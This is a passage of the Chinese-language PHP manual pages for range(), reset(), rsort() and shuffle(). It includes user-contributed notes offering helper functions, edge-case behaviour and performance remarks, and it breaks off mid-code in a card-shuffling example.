* e.g. A=1 - B=2 - Z=26 - AA=27 - CZ=104 - DA=105 - ZZ=702 - AAA=703
*/
function stringtointvalue($str){
   $amount=0;
   $strarra=array_reverse(str_split($str));

   for($i=0;$i<strlen($str);$i++){
      $amount+=(ord($strarra[$i])-64)*pow(26,$i);
   }
   return $amount;
}
?>
qz 19-Jan-2016 11:58
If you're looking to fill an array to get a hash with 0-9 numerical values, using
range(0,9);
is a faster solution compared to
array_fill(0, 10, '');
moficer at host dot sk 15-Jan-2016 03:17
php 5.6.16

<?php
var_export(range('Z', 'a'));

/*
array (
  0 => 'Z',
  1 => '[',
  2 => '\\',
  3 => ']',
  4 => '^',
  5 => '_',
  6 => '`',
  7 => 'a',
)
 */
Alien426 29-Oct-2015 02:09
The function will generate an array of integers even if your numerical parameters are enclosed in quotes.
<?php
var_dump( range('1', '2') ); // outputs  array(2) { [0]=> int(1) [1]=> int(2) }
?>

An easy way to get an array of strings is to map strval() to the range:
<?php
var_dump( array_map('strval', range('1', '2')) ); // outputs  array(2) { [0]=> string(1) "1" [1]=> string(1) "2" }
?>
unicod3 at hotmail dot com 15-Oct-2014 05:43
a function to get column index by letter

function getColumnNumber($char){
    $alphabet = range('a','z');
    $alphabet2 = range('a','z');
    $newAlphabet = $alphabet;
    foreach($alphabet as $k => $r)
    {
        foreach($alphabet2 as $row){
            $newAlphabet[] = $r.$row;
        }
    }
    $key = array_search($char, $newAlphabet);
    return ($key !== false) ? $key : null;
}
lsblsb at gmx dot de 30-Apr-2014 03:09
I needed a function, that creates a letter range with arbitrary length.
You specify via the $length parameter, how many entries you need.
Logic is analog to the logic of the column-titles in a calc-sheet.

<?php

/**
  * create a letter range with arbitrary length
  * @param int $length
  * @return array
  */
function createLetterRange($length)
{
    $range = array();
    $letters = range('A', 'Z');
    for($i=0; $i<$length; $i++)
    {
        $position = $i*26;
        foreach($letters as $ii => $letter)
        {
            $position++;
            if($position <= $length)
                $range[] = ($position > 26 ? $range[$i-1] : '').$letter;
        }
    }
    return $range;
}
?>
php at keith tyler dot com 26-Feb-2014 10:22
So with the introduction of single-character ranges to the range() function, the internal function tries to be "smart", and (I am inferring from behavior here) apparently checks the type of the incoming values. If one is numeric, including numeric string, then the other is treated as numeric; if it is a non-numeric string, it is treated as zero.

But.

If you pass in a numeric string in such a way that is is forced to be recognized as type string and not type numeric, range() will function quite differently.

Compare:

<?php
echo implode("",range(9,"Q"));
// prints 9876543210

echo implode("",range("9 ","Q"));  //space after the 9
// prints 9:;<=>?@ABCDEFGHIJKLMNOPQ

echo implode("",range("q","9 "));
// prints qponmlkjihgfedcba`_^]\[ZYXWVUTSRQPONMLKJIHGFEDCBA@?>=<;:987654
?>

I wouldn't call this a bug, because IMO it is even more useful than the stock usage of the function.
jazzduck AT gmail DOT com 21-Jan-2014 08:32
Despite the line above that says that the $step value should be "given as a positive number," the range() function will in fact correctly handle reversed (decrementing) ranges. For example:

<?php print_r( range( 24, 20 ) ); ?>
Array
(
    [0] => 24
    [1] => 23
    [2] => 22
    [3] => 21
    [4] => 20
)

<?php print_r( range( 20, 11, -3 ) ); ?>
Array
(
    [0] => 20
    [1] => 17
    [2] => 14
    [3] => 11
)

It will actually ignore the sign of the $step argument, and determine whether to increment or decrement based purely on whether $start > $end or $end > $start. For example:

<?php print_r( range( 20, 11, 3 ) ); ?>
Array
(
    [0] => 20
    [1] => 17
    [2] => 14
    [3] => 11
)

<?php print_r( range( 11, 20, -3 ) ); ?>
Array
(
    [0] => 11
    [1] => 14
    [2] => 17
    [3] => 20
)
pyetrosafe at gmail dot com 27-Sep-2013 01:36
To create a simple array or a multidimensional array with defined size and null values??, use this expression:

<?php

$SimpleArray = array_map(function($n) { return null; }, range(1, 3) );
$MultiArray = array_map(function($n) { return array_map(function($n) { return null; }, range(1, 2) ); }, range(1, 3) );

var_dump($SimpleArray);
var_dump($MultiArray);

// And will print:
?>
>>$SimpleArray
array(3) {
  [0]=>  NULL
  [1]=>  NULL
  [2]=>  NULL
}

>>$MultiArray
array(3) {
  [0]=>  array(2) {
    [0]=>    NULL
    [1]=>    NULL
  }
  [1]=>  array(2) {
    [0]=>    NULL
    [1]=>    NULL
  }
  [2]=>  array(2) {
    [0]=>    NULL
    [1]=>    NULL
  }
}

?>
krdr dot mft at gmail dot com 19-Aug-2013 09:48
I've been introduced with range() function not so long ago, and I found that examples about it is somewhat wrong, even inefficient:

<?php
$o = "";
$time_start = microtime(true);
foreach(range(1, 10000) as $val) {
    $o .= $val;
}
$time_end = microtime(true);
$time = $time_end - $time_start;
echo 'rangein: '.$time.'<br />';

$o = "";
$time_start = microtime(true);
$a = range(1, 10000);
foreach($a as $val) {
    $o .= $val;
}
$time_end = microtime(true);
$time = $time_end - $time_start;
echo 'rangeout: '.$time.'<br />';

?>

Which gives results:

rangein: 0.0025348663330078
rangeout: 0.0019199848175049

In some cases difference is even bigger and proportional to the range generated. I suppose that results of range() are cached/hashed.

Note: execution order does affects execution times, but difference still exists
Ray.Paseur often uses Gmail 06-Jun-2013 03:16
Interestingly, these two statements produce identical 26-character alphabet arrays.

<?php
$arr = range('A',  'Z');
$arr = range('AA', 'ZZ');
gtisza at gmail dot com 25-Apr-2013 10:27
You might expect range($n, $n-1) to be an empty array (as in e.g. Python) but actually PHP will assume a step of -1 if start is larger than end.
Palz 29-Oct-2012 10:59
To create a range array like

Array
(
    [11] => 1
    [12] => 2
    [13] => 3
    [14] => 4
)

combine two range arrays using array_combine:

array_combine(range(11,14),range(1,4))
ktamas77 at gmail dot com 03-Aug-2012 10:59
if you need zero padding, string prefixes or any other masks, then a simple combination of array_map, inline functions and sprintf is your friend.

<?php

$a = array_map(function($n) { return sprintf('sample_%03d', $n); }, range(50, 59) );

print_r($a);

?>

Will result:

Array
(
    [0] => sample_050
    [1] => sample_051
    [2] => sample_052
    [3] => sample_053
    [4] => sample_054
    [5] => sample_055
    [6] => sample_056
    [7] => sample_057
    [8] => sample_058
    [9] => sample_059
)
me at phpscott dot com 23-May-2012 05:37
So, I needed a quick and dirty way to create a dropdown select for hours, minutes and seconds using 2 digit formatting, and to create those arrays of data, I combined range with array merge..

<?php
$prepend = array('00','01','02','03','04','05','06','07','08','09');
$hours     = array_merge($prepend,range(10, 23));
$minutes     = array_merge($prepend,range(10, 59));
$seconds     = $minutes;
?>

Super simple.
dries at volta dot be 09-Feb-2012 11:30
Ever wanted to generate an array with a range of column names for use in Excel file related parsing?
I've wrote a function that starts at the A column and adds column names up until the column you specified.

<?php

/**
 * This function creates an array with column names up until the column
 * you specified.
*/
function createColumnsArray($end_column, $first_letters = '')
{
  $columns = array();
  $length = strlen($end_column);
  $letters = range('A', 'Z');

  // Iterate over 26 letters.
  foreach ($letters as $letter) {
      // Paste the $first_letters before the next.
      $column = $first_letters . $letter;

      // Add the column to the final array.
      $columns[] = $column;

      // If it was the end column that was added, return the columns.
      if ($column == $end_column)
          return $columns;
  }

  // Add the column children.
  foreach ($columns as $column) {
      // Don't itterate if the $end_column was already set in a previous itteration.
      // Stop iterating if you've reached the maximum character length.
      if (!in_array($end_column, $columns) && strlen($column) < $length) {
          $new_columns = createColumnsArray($end_column, $column);
          // Merge the new columns which were created with the final columns array.
          $columns = array_merge($columns, $new_columns);
      }
  }

  return $columns;
}

?>

Usage:

<?php

// Return an array with all column names from A until and with BI.
createColumnsArray('BI');

?>
Aram Kocharyan 27-Feb-2011 07:58
Here's a function to generate ranges from strings:

<?php

/*  Creates an array of integers based on a given range string of format "int - int"
    Eg. range_str('2 - 5'); */
function range_str($str) {
    preg_match('#(\\d+)\\s*-\\s*(\\d+)#', $str, $matches);
    if ( count($matches) == 3 ) {
        return range($matches[1], $matches[2]);
    }
    return FALSE;
}

// Test
$array = range_str(' 2 - 4 ');
print_r($array);

?>

This outputs:

Array
(
    [0] => 2
    [1] => 3
    [2] => 4
)
jay at NOspam dot myd3 dot com 29-Apr-2009 05:54
This is a modified version of thomas' range_string() function. It's simpler, cleaner, and more robust, but it lacks the advanced features his function had, hopefully it will be of assitance to someone.

Examples:

    input: "1, 2, 3, 4, 5, 6" --> output: 1, 2, 3, 4, 5, 6
    input: "1-6" --> output: 1, 2, 3, 4, 5, 6
    input: "1-6" --> output: 1, 2, 3, 4, 5, 6
    input: "1 - -6" --> output: 1, 2, 3, 4, 5, 6
    input: "0 - 0" --> output: 0
    input: "1, 4-6, 2" --> output: 1, 2, 4, 5, 6
    input: "6,3-1" --> output: 1, 2, 3, 6

<?php

define('RANGE_ARRAY_SORT', 1);
define('RANGE_ARRAY', 2);
define('RANGE_STRING_SORT', 3);
define('RANGE_STRING', 4);

function range_string($range_str, $output_type = RANGE_ARRAY_SORT)
{
    // Remove spaces and nother non-essential characters
    $find[]    = "/[^\d,\-]/";
    $replace[] = "";

    // Remove duplicate hyphens
    $find[]    = "/\-+/";
    $replace[] = "-";

    // Remove duplicate commas
    $find[]    = "/\,+/";
    $replace[] = ",";

    $range_str = preg_replace($find, $replace, $range_str);

    // Remove any commas or hypens from the end of the string
    $range_str = trim($range_str,",-");

    $range_out = array();
    $ranges    = explode(",", $range_str);

    foreach($ranges as $range)
    {

        if(is_numeric($range) || strlen($range) == 1)
        {
            // Just a number; add it to the list.
            $range_out[] = (int) $range;
        }
        else if(is_string($range))
        {

            // Is probably a range of values.
           $range_exp = preg_split("/(\D)/",$range,-1,PREG_SPLIT_DELIM_CAPTURE);

            $start = $range_exp[0];
            $end   = $range_exp[2];

            if($start > $end)
            {
                for($i = $start; $i >= $end; $i -= 1)
                {
                    $range_out[] = (int) $i;
                }
            }
            else
            {
                for($i = $start; $i <= $end; $i += 1)
                {
                    $range_out[] = (int) $i;
                }
            }

        }
    }

    switch ($output_type) {
        case RANGE_ARRAY_SORT:
            $range_out = array_unique($range_out);
            sort($range_out);

        case RANGE_ARRAY:
            return $range_out;
            break;

        case RANGE_STRING_SORT:
            $range_out = array_unique($range_out);
            sort($range_out);

        case RANGE_STRING:

        default:
            return implode(", ", $range_out);
            break;
    }
}

// Sample Usage:
$range = range_string("6, 3-1");

?>
ThinkMedical at Gmail dot com 26-Aug-2008 05:11
foreach(range()) whilst efficiant in other languages, such as python, it is not (compared to a for) in php*.

php is a C-inspired language and thus for is entirely in-keeping with the lanuage aethetic to use it

<?php
//efficiant
for($i = $start; $i < $end; $i+=$step)
{
        //do something with array
}

//inefficiant
foreach(range($start, $end, $step) as $i)
{
        //do something with array
}
?>

That the officiant documentation doesnt mention the for loop is strange.

Note however, that in PHP5 foreach is faster than for when iterating without incrementing a variable.

* My tests using microtime and 100 000 iterations consistently (~10 times) show that for is 4x faster than foreach(range()).
captvanhalen at gmail dot com 27-Mar-2008 10:33
Here is a home rolled range() function that uses the step feature for those unfortunate souls who cannot use PHP5:

<?php
function my_range( $start, $end, $step = 1) {

    $range = array();

    foreach (range( $start, $end ) as $index) {

        if (! (($index - $start) % $step) ) {
            $range[] = $index;
        }
    }

    return $range;
}
?>
chris at laflash dot org 09-May-2007 04:47
Quick HTML menus with minimum and maximum sets of years:

<?php
    /*
    ** Quick HTML menus with minimum and maximum sets of years.
    ** @author Chris Charlton <chris@laflash.org>
    ** @license FREE!
    */

    // Years range setup
    $year_built_min = 1900;
    $year_built_max = date("Y");
?>
<select id="yearBuiltMin" size="1">
    <?php // Generate minimum years

        foreach (range($year_built_min, $year_built_max) as $year) { ?>
        <option value="<?php echo($year); ?>"><?php echo($year); ?></option>
        <?php } ?>
</select>

<select id="yearBuiltMax" size="1">
      <?php // Generate max years

        foreach (range($year_built_max, $year_built_min) as $year) { ?>
        <option value="<?php echo($year); ?>"><?php echo($year); ?></option>
        <?php } ?>
</select>
m0sh3 at hotmail dot com 01-Mar-2007 05:46
Here's how i use it to check if array is associative or not:

<?php

if (array_keys($arr)===range(0, sizeof($arr)-1)) {
// not associative array

} else {
// associative array

}

?>
manuel at levante dot de 07-Nov-2006 05:25
<?php
function srange ($s) {
  preg_match_all("/([0-9]{1,2})-?([0-9]{0,2}) ?,?;?/", $s, $a);
  $n = array ();
  foreach ($a[1] as $k => $v) {
    $n  = array_merge ($n, range ($v, (empty($a[2][$k])?$v:$a[2][$k])));
  }
  return ($n);
}

$s = '1-4 6-7 9-10';
print_r(srange($s));
?>

Return:
Array
(
    [0] => 1
    [1] => 2
    [2] => 3
    [3] => 4
    [4] => 6
    [5] => 7
    [6] => 9
    [7] => 10
)
subscription101 at hotmail dot com 08-Jan-2006 06:36
A much simpler way of creating a range of even numbers is by starting with an even number:

<?php

    range(2, 10, 2);

?>
emory underscore smith at hotmail 20-Aug-2005 07:53
since its not stated explicitly above, thought id point out that you arent limited to using integers.

however, be careful when doing so, as you might not get the range you expect!

to illustrate:

<?php
$am = range(500,1600,10);
$fm = range(88.1,107.9,.2);
print_r($am);
print_r($fm);
?>

print_r($am) yields the expected result:

Array
(
    [0] => 500
    [1] => 510
    [2] => 520
    ...
    [109] => 1590
    [110] => 1600
)

print_r($fm), however, falls a bit (1%) short:

Array
(
    [0] => 88.1
    [1] => 88.3
    [2] => 88.5
    ...
    [97] => 107.5
    [98] => 107.7
)

so, if you want to use a non-integral step size params for numeric ranges, be sure to account for fp representation accuracy and error accumulation; a step size of something like pi or 1/10 could spell disaster for a large range. if in doubt, use integral steps and divide ... something like <?php range(88.1,108,.2) ?> might work to recover 107.9, but would not be scalable like, say <?php array_map(create_function('$x','return $x/10;'),range(881,1079,2)) ?>.

-emory
derek at php dot net 08-May-2005 06:13
This should emulate range() a little better.
<?php
function range_wroar($low, $high, $step = 1) {
    $arr = array();
    $step = (abs($step)>0)?abs($step):1;
    $sign = ($low<=$high)?1:-1;
    if(is_numeric($low) && is_numeric($high)) {
        //numeric sequence
        for ($i = (float)$low; $i*$sign <= $high*$sign; $i += $step*$sign)
            $arr[] = $i;
    }    else    {
        //character sequence
        if (is_numeric($low))
            return $this->range($low, 0, $step);
        if (is_numeric($high))
            return $this->range(0, $high, $step);
        $low = ord($low);
        $high = ord($high);
        for ($i = $low; $i*$sign <= $high*$sign; $i += $step*$sign) {

            $arr[] = chr($i);
        }
    }
    return $arr;
}
?>
j dot gizmo at aon dot at 23-Sep-2004 04:23
i figured i'd add some more functionality to the myRange() functions below.
now you can, besides giving a $step parameter,
1. count backwards
2. count with letters
3. give whatever parameter you want, there's nothing (i know of) that will cause an endless loop (try a negative $step for the previous function....)

<?php
function myRange($num1, $num2, $step=1)
{
    if (is_numeric($num1) && is_numeric($num2))
    {
        //we have a numeric range
        $step = ( abs($step)>0 ? abs($step) : 1 ); //make $step positive
        $dir = ($num1<=$num2 ? 1 : -1); //get the direction
        for($i = (float)$num1; $i*$dir <= $num2*$dir; $i += $step*$dir)
        {
            $temp[] = $i;
        }
    }
    else
    {
        //we have a character range
        $num1=ord((string)$num1); //convert to ascii value
        $num2=ord((string)$num2);
        $step = ( abs($step)>0 ? abs($step) : 1 ); //make $step positive
        $dir = ($num1<=$num2 ? 1 : -1); //get direction
        for($i = $num1; $i*$dir <= $num2*$dir; $i += $step*$dir)
        {
            $temp[] = chr($i);
        }
    }
    return $temp;
}

print_r(myRange( 1, 3, 0.5 )); //you can use fractional steps
print_r(myRange( "a", "k", 3 )); //or count letters
print_r(myRange( "5", "9" )); //numbers are detected even if hidden in strtings
print_r(myRange( "!", "%", 1/pi() )); //or mess around with senseless parameters

?>


将数组的内部指针指向第一个单元

  • ? range
  • rsort ?
  • PHP Manual
  • 数组 函数
  • 将数组的内部指针指向第一个单元

reset

(PHP 4, PHP 5, PHP 7)

reset — 将数组的内部指针指向第一个单元

说明

reset ( array &$array ) : mixed

reset() 将 array 的内部指针倒回到第一个单元并返回第一个数组单元的值。

参数

array

输入的数组。

返回值

返回数组第一个单元的值，如果数组为空则返回 FALSE。

范例

Example #1 reset() 例子

<?php

$array = array('step one', 'step two', 'step three', 'step four');

// by default, the pointer is on the first element
echo current($array) . "<br />\n"; // "step one"

// skip two steps
next($array);
next($array);
echo current($array) . "<br />\n"; // "step three"

// reset pointer, start again on step one
reset($array);
echo current($array) . "<br />\n"; // "step one"

?>

参见

  • current() - 返回数组中的当前单元
  • each() - 返回数组中当前的键／值对并将数组指针向前移动一步
  • end() - 将数组的内部指针指向最后一个单元
  • next() - 将数组中的内部指针向前移动一位
  • prev() - 将数组的内部指针倒回一位

User Contributed Notes

Bartek Ferek 30-Aug-2016 11:16
As for taking first key of an array, it's much more efficient to RESET and then KEY, rather then RESET result of ARRAY_KEYS (as sugested by gardnerjohng at gmail dot com).

<?php
reset($someArray);
echo key($someArray);
?>

This will give the same result but is much much faster. Larger arrays, better performance. Tested on 100-elements long array with 16 times faster results.
arne dot slabbinck at duo dot be 01-Oct-2015 03:43
Info:

Following code gives a strict warning in 5.4.45

      return reset(array_keys($result['node']));

"Strict warning: Only variables should be passed by reference"

So should be:

      $keys = array_keys($result['node']);
      return reset($keys);
arne dot ludwig at posteo dot de 18-Sep-2015 09:22
In response to gardnerjohng's note to retrieve the first _key_ of an array:

To retrieve the first _key_ of an array you can use the combination of reset() and key().

<?php
    $properties = array(
        'colour'   => 'grey',
        'flavour'  => 'rubber',
        'name'     => 'Mouse Ball',
        'texture'  => 'rubbery'
    );

    reset($properties);
    echo key($properties); // => 'colour'
?>

I prefer this solution as you don't have to create the keys array. This should (not measured) improve performance on large arrays.
gardnerjohng at gmail dot com 18-Sep-2014 05:54
If you need an easy way to retrieve the first *key* in an array (instead of the value), it can be done like this:

<?php
    $properties = array(
        'colour'   => 'grey',
        'flavour'  => 'rubber',
        'name'     => 'Mouse Ball',
        'texture'  => 'rubbery'
    );

    #    Will output "colour".
    echo reset(array_keys($properties));
?>
Potentially helpful for configuration files that define a sequence of items as an associative array.
Mladen Janjetovic 16-May-2013 10:07
Note that you can't use pointer here. It will reset the iteration counter in this case.
foreach($array as $key=>&$value) {...}

Use standard foreach instead
foreach($array as $key=>$value) {...}
milo at mdlwebsolutions dot com 03-Apr-2012 10:22
GOTCHA: If your first element is false, you don't know whether it was empty or not.

<?php

$a = array();
$b = array(false, true, true);
var_dump(reset($a) === reset($b)); //bool(true)

?>

So don't count on a false return being an empty array.
kendsnyder at gmail dot com 08-Feb-2010 08:12
Don't use `reset()` to get the first value of an associative array. It works great for true arrays but works unexpectedly on Iterator objects. http://bugs.php.net/bug.php?id=38478
m dot lebkowski+php at gmail dot com 03-Aug-2006 01:58
Colin, there`s a better (IMO) way to solve your problem.
<?
  // ...
  foreach($a as $k => &$d){}   // notice the "&"
  // ...
?>
It`s a new feature in PHP5 to use references in foreach loop. This way PHP isn`t making a copy of the array, so the internal pointer won`t be reset.
Colin 06-Jun-2006 08:11
I had a problem with PHP 5.0.5 somehow resetting a sub-array of an array with no apparent reason.  The problem was in doing a foreach() on the parent array PHP was making a copy of the subarrays and in doing so it was resetting the internal pointers of the original array.

The following code demonstrates the resetting of a subarray:

<?
$a = array(
    'a' => array(
        'A', 'B', 'C', 'D',
    ),
    'b' => array(
        'AA', 'BB', 'CC', 'DD',
    ),
);

// Set the pointer of $a to 'b' and the pointer of 'b' to 'CC'
reset($a);
next($a);
next($a['b']);
next($a['b']);
next($a['b']);

var_dump(key($a['b']));
foreach($a as $k => $d)
{
}
var_dump(key($a['b']));
?>

The result of the two var dumps are 3 and 0, respectively.  Clearly the internal pointer of $a['b'] was reset by doing the foreach loop over $a.

Each time the foreach loop iterated over the 'a' and 'b' keys of $a it made a copy of $a['a'] and $a['b'] into $d which resetted the internal pointers of $a['a'] and $a['b'] despite making no obvious changes.

The solution is instead to iterate over the keys of $a.

<?
foreach(array_keys($a) as $k)
{
}
?>

and using $a[$k] (or creating an alias of $a[$k] as $d and dealing with the consequences of using aliases).

For the curious, I was implementing the Iterator interface on a dummy object and calling a global object to do the actual iteration (also to cope with PHP's lack of C-style pointers which when doing a $a = $b on objects would cause the data in $a to be inconsistent with the data in $b when modified).  Being that I had many dummy objects representing different data sets I chose to store each data set as a subarray contained within the global object.  To make this work each dummy object has to store a key (which can freely be duplicated without problems) that it passes to the global object when rewind, key, current, next, and valid were called on the dummy object.

Unfortunately for me, my key required to be more than just a simple string or number (if it was then it could be used to directly index the subarray of data for that object and problem avoided) but was an array of strings.  Instead, I had to iterate over (with a foreach loop) each subarray and compare the key to a variable stored within the subarray.

So by using a foreach loop in this manner and with PHP resetting the pointer of subarrays it ended up causing an infinite loop.

Really, this could be solved by PHP maintaining internal pointers on arrays even after copying.
27-Feb-2006 01:20
I wrote a nice function, which rotates values of array. Very useful for table rows where you have to rotate colors

<?php
function rotate(&$array) {
    $item = current($array);
    if (!next($array)) reset($array);
    return $item;
}
?>
Alexandre Koriakine 18-Nov-2005 02:09
Also it's good to reset this way the multidimentional arrays:

reset($voo2['moder']);
while (list($key, $value) = each ($voo2['moder'])) {

reset($voo2['moder'][$key]);
while (list($key1, $value1) = each ($voo2['moder'][$key])) {
#do what u want
}

}
leaetherstrip at inbox dot NOSPAMru 17-Oct-2004 06:54
Note that reset() will not affect sub-arrays of multidimensional array.

For example,

<?php
    $arr = array(
        1 => array(2,3,4,5,6),
        2 => array(6,7,8,9,10)
    );

    while(list($i,) = each($arr))
    {
        echo "IN \$arr[$i]<br>";

        while(list($sub_i,$entry) = each($arr[$i]))
        {
            echo "\$arr[$i][$sub_i] = $entry<br>";
        }
    }

    reset($arr);

    // Do the same again
    while(list($i,) = each($arr))
    {
        echo "IN \$arr[$i]<br>";

        while(list($sub_i,$entry) = each($arr[$i]))
        {
            echo "\$arr[$i][$sub_i] = $entry<br>";
        }
    }
?>

will print

IN $arr[1]
$arr[1][0] = 2
$arr[1][1] = 3
$arr[1][2] = 4
$arr[1][3] = 5
$arr[1][4] = 6
IN $arr[2]
$arr[2][0] = 6
$arr[2][1] = 7
$arr[2][2] = 8
$arr[2][3] = 9
$arr[2][4] = 10
IN $arr[1]
IN $arr[2]
kk at shonline dot de 30-Jul-1998 05:22
When used on a scalar or unset value, reset() spews warning messages. This is often a problem when accessing arrays generated from HTML form input data: these are scalar or unset if the user didn't enter sufficient information.

You can silence these error messages by prefixing an @ (at sign) to reset(), but it is better style to protect your reset() and the following array traversal with an if (isset()). Example code:

<?php
if (isset($form_array)) {
  reset($form_array);
  while (list($k, $v) = each($form_array) {
    do_something($k, $v);
  }
}
?>


对数组逆向排序

  • ? reset
  • shuffle ?
  • PHP Manual
  • 数组 函数
  • 对数组逆向排序

rsort

(PHP 4, PHP 5, PHP 7)

rsort — 对数组逆向排序

说明

rsort ( array &$array [, int $sort_flags = SORT_REGULAR ] ) : bool

本函数对数组进行逆向排序（最高到最低）。

Note:

If two members compare as equal, their relative order in the sorted array is undefined.

参数

array

输入的数组。

sort_flags

可以用可选参数 sort_flags 改变排序的行为，详情见 sort()。

返回值

成功时返回 TRUE， 或者在失败时返回 FALSE。

范例

Example #1 rsort() 例

<?php
$fruits = array("lemon", "orange", "banana", "apple");
rsort($fruits);
foreach ($fruits as $key => $val) {
    echo "$key = $val\n";
}
?>

以上例程会输出：

0 = orange
1 = lemon
2 = banana
3 = apple

fruits 被按照字母顺序逆向排序。

注释

Note: 此函数为 array 中的元素赋与新的键名。这将删除原有的键名，而不是仅仅将键名重新排序。

参见

  • arsort() - 对数组进行逆向排序并保持索引关系
  • krsort() - 对数组按照键名逆向排序
  • 数组排序函数对比

User Contributed Notes

suniafkhami at gmail dot com 20-Feb-2014 02:40
If you are sorting an array from a database result set, such as MySQL for example, another approach could be to have your database sort the result set by using ORDER BY DESC, which would be the equivalent of using rsort() on the resulting array in PHP.

[Edited by moderator for clarity: googleguy at php dot net]
Alex M 27-Jun-2005 07:39
A cleaner (I think) way to sort a list of files into reversed order based on their modification date.

<?php
   $path = $_SERVER[DOCUMENT_ROOT]."/files/";
   $dh = @opendir($path);

   while (false !== ($file=readdir($dh)))
   {
      if (substr($file,0,1)!=".")
         $files[]=array(filemtime($path.$file),$file);   #2-D array
   }
   closedir($dh);

   if ($files)
   {
      rsort($files); #sorts by filemtime

      #done! Show the files sorted by modification date
      foreach ($files as $file)
         echo "$file[0] $file[1]<br>\n";  #file[0]=Unix timestamp; file[1]=filename
   }
?>
pshirkey at boosthardware dot com 14-Jan-2005 01:06
I needed a function that would sort a list of files into reversed order based on their modification date.

Here's what I came up with:

function display_content($dir,$ext){

    $f = array();
    if (is_dir($dir)) {
        if ($dh = opendir($dir)) {
            while (($folder = readdir($dh)) !== false) {
                if (preg_match("/\s*$ext$/", $folder)) {
                    $fullpath = "$dir/$folder";
                    $mtime = filemtime ($fullpath);

                    $ff = array($mtime => $fullpath);
                    $f = array_merge($f, $ff);

            }
                }

            rsort($f, SORT_NUMERIC);

            while (list($key, $val) = each($f)) {
                $fcontents = file($val, "r");
                while (list($key, $val) = each($fcontents))
                    echo "$val\n";
            }

        }
    }

        closedir($dh);
}

Call it like so:

display_content("folder","extension");
ray at non-aol dot com 02-Nov-2004 07:49
Like sort(), rsort() assigns new keys for the elements in array. It will remove any existing keys you may have assigned, rather than just reordering the keys.  This means that it will destroy associative keys.

$animals = array("dog"=>"large",  "cat"=>"medium",  "mouse"=>"small");
print_r($animals);
//Array ( [dog] => large [cat] => medium [mouse] => small )

rsort($animals);
print_r($animals);
//Array ( [0] => small [1] => medium [2] => large )

Use KSORT() or KRSORT() to preserve associative keys.
rnk-php at kleckner dot net 17-Jun-2003 12:37
Apparently rsort does not put arrays with one value back to zero.  If you have an array like: $tmp = array(9 => 'asdf') and then rsort it, $tmp[0] is empty and $tmp[9] stays as is.
slevy1 at pipeline dot com 12-Jun-2001 11:15
I thought rsort was working successfully or on a multi-dimensional array of strings that had first been sorted with usort(). But, I noticed today that the array  was only partially in descending order.  I tried array_reverse on it and that seems to have solved things.


打乱数组

  • ? rsort
  • sizeof ?
  • PHP Manual
  • 数组 函数
  • 打乱数组

shuffle

(PHP 4, PHP 5, PHP 7)

shuffle — 打乱数组

说明

shuffle ( array &$array ) : bool

本函数打乱（随机排列单元的顺序）一个数组。 它使用的是伪随机数产生器，并不适合密码学的场合。

Note:

If two members compare as equal, their relative order in the sorted array is undefined.

参数

array

待操作的数组。

返回值

成功时返回 TRUE， 或者在失败时返回 FALSE。

更新日志

版本 | 说明
7.1.0 | 内置的随机数产生算法从 libc rand 函数改成 » 梅森旋转伪随机数生成算法。

范例

Example #1 shuffle() 例子

<?php
$numbers = range(1, 20);
shuffle($numbers);
foreach ($numbers as $number) {
    echo "$number ";
}
?>

注释

Note: 此函数为 array 中的元素赋与新的键名。这将删除原有的键名，而不是仅仅将键名重新排序。

参见

  • array_rand() - 从数组中随机取出一个或多个单元
  • 数组排序函数对比

User Contributed Notes

thomas dot sahlin at invented dot se 16-May-2017 08:20
Here's a simple one liner for shuffling associative arrays:

<?php

uksort($myArray, function ($a, $b) {return mt_rand(-10, 10);});

?>
xzero at elite7hackers dot net 30-May-2015 01:09
There is an function which uses native shuffle() but preserves keys, and their order, so at end, only values are shuffled.

<?PHP
/**
 * Array Quake - Give an array good quake so every value will endup with random given space.
 * Keys, and their order are preserved.
 * @author xZero <xzero@elite7hackers.net>
 * @param array $array
 * @return boolean false on failure
 */
function array_quake(&$array) {
    if (is_array($array)) {
        $keys = array_keys($array); // We need this to preserve keys
        $temp = $array;
        $array = NULL;
        shuffle($temp); // Array shuffle
        foreach ($temp as $k => $item) {
            $array[$keys[$k]] = $item;
        }
        return;
    }
    return false;
}

// Example
$numbers = array(
    'ZERO' => 0,
    'ONE' => 1,
    'TWO' => 2,
    'THREE' => 3,
    'FOUR' => 4,
    'FIVE' => 5,
    'SIX' => 6,
    'SEVEN' => 7,
    'EIGHT' => 8,
    'NINE' => 9
);
echo "\nBefore (original):\n";
print_r($numbers);
array_quake($numbers);
echo "\n\nAfter (Array Quake);\n";
print_r($numbers);
echo "\n";
?>

Result example:
Before (original):
Array
(
    [ZERO] => 0
    [ONE] => 1
    [TWO] => 2
    [THREE] => 3
    [FOUR] => 4
    [FIVE] => 5
    [SIX] => 6
    [SEVEN] => 7
    [EIGHT] => 8
    [NINE] => 9
)

After (Array Quake);
Array
(
    [ZERO] => 4
    [ONE] => 2
    [TWO] => 0
    [THREE] => 8
    [FOUR] => 3
    [FIVE] => 6
    [SIX] => 1
    [SEVEN] => 7
    [EIGHT] => 5
    [NINE] => 9
)
peter at removethisplease dot ddcrew dot com 02-Dec-2013 01:55
This seems to do reasonably well as a shuffle() that preserves index assocation:

<?php
function ashuffle (&$arr) {
    uasort($arr, function ($a, $b) {
        return rand(-1, 1);
    });
}
?>

Obviously only works if PHP has closures enabled...
timtrinidad at gmail dot com 08-Aug-2011 12:38
It appears that the suhosin extensions >= 0.9.26 that have the suhosin.mt_srand.ignore and suhosin.srand.ignore settings set to "Off" do not affect shuffle().

In other words, the only way I was able to get pseudo-random and predictable results through shuffle() was to disable the extension.
Eric Anderson 29-Mar-2011 09:33
Copy and paste this script and refresh the page to see the shuffling effect.

<?php
    /**
    * Shuffles and displays cards in a deck
    * @author:     Eric Anderson
    * @filename:   deckofcards.php
    */

    // Create an array of face values
    // and an array of card values
    // then merge them together
    $cards = array_merge(array("J", "Q", "K", "A"), range(2,10)); // 13 cards

    // Shuffle the cards
    shuffle($cards);

    // Create an multidimentional array to hold the 4 suits
    $suits = array(
        'Heart' => array(),
        'Spade' => array(),
        'Diamond' => array(),
        'Club' => array()
        );

    // Add cards to their respective suits
    for($i = 0; $i < count($suits); $i++)
    {
        for($j = 0; $j < count($cards); $j++)
        {
            $suits['Heart'][$j] = $cards[$j]."<span style=color:#FF0000;>&hearts;</span>";
            $suits['Spade'][$j] = $cards[$j]."&spades;";
            $suits['Diamond'][$j] = $cards[$j]."<span style=color:#FF0000;>&diams;</span>";
            $suits['Club'][$j] = $cards[$j]."&clubs;";
        }
    }

    // Create a deck
    $deck = array();

